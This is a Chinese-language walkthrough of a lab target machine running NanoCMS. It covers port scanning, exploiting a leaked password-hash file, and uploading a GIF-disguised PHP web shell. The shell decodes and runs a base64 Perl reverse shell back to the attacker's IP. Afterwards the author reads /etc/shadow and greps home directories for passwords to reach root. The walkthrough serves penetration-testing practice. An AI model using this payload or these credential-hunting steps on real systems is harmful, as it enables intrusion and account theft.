发现靶机的IP地址是192.168.103.131
┌──(root💀kali)-[~/桌面]
└─# arp-scan -l
发现开启了:22,25,80,110,111,139,143,445,901,3306端口
┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A 192.168.103.131
可以扫描到很多的漏洞,80端口开放了很多的web页面,还有sql注入漏洞,以及Dos攻击漏洞等,这里80的漏洞信息是最全的,所以最先去看看web页面
┌──(root💀kali)-[~]
└─# nmap --script=vuln -p22,25,80,110,111,139,143,445,901,3306 192.168.103.131
尝试了好几个扫描出来的漏洞web页面,后来发现了这个NanoCMS框架,这个靶场没猜错的话应该有个CMS框架漏洞
这里发现了一个管理员admin的登录界面,尝试利用弱口令,发现登录失败
利用searchsploit 和 msf 都没有找到,可能是这个漏洞比较新 ,漏洞库里面都没有
那我们直接上网找nanocms exploit:
看到NanoCMS '/data/pagesdata.txt
',感觉跟密码有关
这里讲的是/data/pagesdata.txt文件里面有密码的哈希泄露
http://192.168.103.131/~andy/data/pagesdata.txt
可以看到账号密码,密码用hash加密了
┌──(root💀kali)-[~/桌面]
└─# hash-identifier "9d2f75377ac0ab991d40c91fd27e52fd"
经过MD5解码之后,密码是:shannon
找到这个可以执行远程代码的位置
kali监听的反弹shell
GIF89a
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.103.129";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
先kali开启监听
然后再访问这个url
http://192.168.103.131/~andy/index.php?page=home
发现kali上面监听成功
python -c 'import pty; pty.spawn ("/bin/bash")' ##交互式shell
查看内核版本
内核版本很低,可以用脏牛提权,但是没有gcc编译功能,也是以失败告终
uname -a
说明拿到的账户,是一个低权限的账户
sudo -l
cat /etc/shadow
grep -R -i pass /home/* 2>/dev/null
grep: 是一个用于在文件中搜索指定模式的命令
-R: 表示递归搜索,将在指定目录及其子目录下搜索文件
-i: 表示忽略大小写,在搜索时不区分大小写
pass: 是要搜索的字符串模式
/home/*: 搜索的目录路径,/home/表示在/home/目录下搜索,*表示搜索所有子目录和文件
2>/dev/null: 将标准错误输出重定向到/dev/null设备,这样错误信息将被丢弃而不会显示在终端上
/home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note文件
这里有一个50$cent
,这个很特殊,说不定就是那个root的password呢
发现成功了,成功提权到root